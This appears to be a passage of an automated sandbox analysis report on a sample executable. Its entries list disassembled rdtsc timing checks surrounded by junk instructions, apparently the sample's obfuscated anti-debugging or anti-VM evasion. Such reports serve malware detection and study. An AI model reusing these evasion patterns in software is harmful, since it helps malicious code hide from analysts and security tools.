Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D0F0 second address: 81D0FA instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE1C8D8FEB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D0FA second address: 81D161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FE1C8D96873h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007FE1C8D9686Bh 0x00000013 pushad 0x00000014 jmp 00007FE1C8D96873h 0x00000019 jbe 00007FE1C8D96866h 0x0000001f popad 0x00000020 push esi 0x00000021 ja 00007FE1C8D96866h 0x00000027 push eax 0x00000028 pop eax 0x00000029 pop esi 0x0000002a popad 0x0000002b pushad 0x0000002c jmp 00007FE1C8D96879h 0x00000031 push esi 0x00000032 jl 00007FE1C8D96866h 0x00000038 push ecx 0x00000039 pop ecx 0x0000003a pop esi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e pop eax 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D161 second address: 81D165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF96C second address: 8AF972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B001B second address: 8B001F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B001F second address: 8B0025 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0025 second address: 8B002A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B002A second address: 8B0049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jns 00007FE1C8D9686Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007FE1C8D9686Eh 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0049 second address: 8B0065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FE1C8D8FEC0h 0x0000000b js 00007FE1C8D8FEB6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0065 second address: 8B0069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0069 second address: 8B0071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861ACC second address: 861B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 and edx, 3BD3CEF1h 0x0000000d push 00000004h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FE1C8D96868h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 sbb cx, 6AFCh 0x0000002e nop 0x0000002f je 00007FE1C8D96874h 0x00000035 push eax 0x00000036 push edx 0x00000037 jno 00007FE1C8D96866h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861B0F second address: 861B1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861B1C second address: 861B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 861B20 second address: 861B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B01DD second address: 8B01E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B01E1 second address: 8B01F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEBAh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B01F7 second address: 8B01FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B01FB second address: 8B0209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FE1C8D8FEB6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0209 second address: 8B020D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0DE3 second address: 8B0DE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0DE7 second address: 8B0E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jc 00007FE1C8D96866h 0x00000015 jmp 00007FE1C8D96877h 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0E14 second address: 8B0E31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D8FEC9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0E31 second address: 8B0E3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D9686Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B5105 second address: 8B5109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B5109 second address: 8B511F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE1C8D9686Bh 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4318 second address: 8B4331 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FE1C8D8FEBEh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4331 second address: 8B434D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE1C8D96875h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B434D second address: 8B4362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FE1C8D8FEBFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4362 second address: 8B4366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4782 second address: 8B4788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4788 second address: 8B47AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE1C8D96866h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FE1C8D96866h 0x00000013 jmp 00007FE1C8D96873h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B47AE second address: 8B47C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE1C8D8FEC3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B47C7 second address: 8B47CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B47CC second address: 8B47EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE1C8D8FEB6h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE1C8D8FEC2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B47EB second address: 8B47F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D9686Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B47F9 second address: 8B481B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a jmp 00007FE1C8D8FEBCh 0x0000000f jng 00007FE1C8D8FEB6h 0x00000015 pop edx 0x00000016 pushad 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4AF6 second address: 8B4B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C8D96876h 0x00000009 pop eax 0x0000000a push esi 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop esi 0x0000000e push ebx 0x0000000f jng 00007FE1C8D96866h 0x00000015 pop ebx 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FE1C8D9686Eh 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 jne 00007FE1C8D96866h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4B3B second address: 8B4B3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8C82 second address: 8B8C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8C86 second address: 8B8C8C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B89BB second address: 8B89BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B89BF second address: 8B89C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C017F second address: 8C0183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813404 second address: 81340A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81340A second address: 81340F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE2B7 second address: 8BE2DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE1C8D8FEC8h 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE2DF second address: 8BE2E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE2E5 second address: 8BE2F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE2F2 second address: 8BE310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FE1C8D96879h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE310 second address: 8BE316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BEE93 second address: 8BEEB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D96876h 0x00000007 jnp 00007FE1C8D96872h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BEEB3 second address: 8BEEB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF1CF second address: 8BF1D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF1D5 second address: 8BF1D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF1D9 second address: 8BF1F3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE1C8D96866h 0x00000008 jnl 00007FE1C8D96866h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007FE1C8D9686Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF1F3 second address: 8BF1FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FE1C8D8FEB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF7E1 second address: 8BF7E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF7E5 second address: 8BF7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF7EE second address: 8BF812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jne 00007FE1C8D9687Ch 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFDE3 second address: 8BFDED instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE1C8D8FEBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFDED second address: 8BFDF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6842 second address: 8C6847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6847 second address: 8C684C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C684C second address: 8C6860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE1C8D8FEB6h 0x0000000a popad 0x0000000b pushad 0x0000000c jns 00007FE1C8D8FEB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9891 second address: 8C98B4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE1C8D9687Dh 0x00000008 jmp 00007FE1C8D96877h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C98B4 second address: 8C98B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9A3F second address: 8C9A80 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE1C8D9686Eh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE1C8D9686Fh 0x00000015 jmp 00007FE1C8D96879h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9A80 second address: 8C9A91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEBBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C9A91 second address: 8C9A96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA116 second address: 8CA11A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA289 second address: 8CA28D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA28D second address: 8CA2A5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jg 00007FE1C8D8FEB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d jno 00007FE1C8D8FEC6h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA435 second address: 8CA439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CA439 second address: 8CA44C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FE1C8D8FECEh 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0B67 second address: 8D0B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D96875h 0x00000009 jmp 00007FE1C8D9686Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0B8A second address: 8D0B8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0B8E second address: 8D0B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0B94 second address: 8D0BB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE1C8D8FEC6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0BB2 second address: 8D0BDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE1C8D96876h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007FE1C8D9688Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D0BDA second address: 8D0BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1066 second address: 8D1070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1070 second address: 8D107A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE1C8D8FEB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D107A second address: 8D108F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C8D9686Fh 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1795 second address: 8D179B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D179B second address: 8D179F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D179F second address: 8D17A5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D17A5 second address: 8D17AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D17AB second address: 8D17D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D8FEC5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE1C8D8FEBEh 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1F10 second address: 8D1F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1F1A second address: 8D1F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFD20 second address: 8CFD2E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE1C8D96868h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFD2E second address: 8CFD46 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE1C8D8FEBCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CFD46 second address: 8CFD50 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE1C8D96866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB87D second address: 8DB881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB9E0 second address: 8DB9E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB9E4 second address: 8DB9E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB9E8 second address: 8DB9FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C8D96871h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
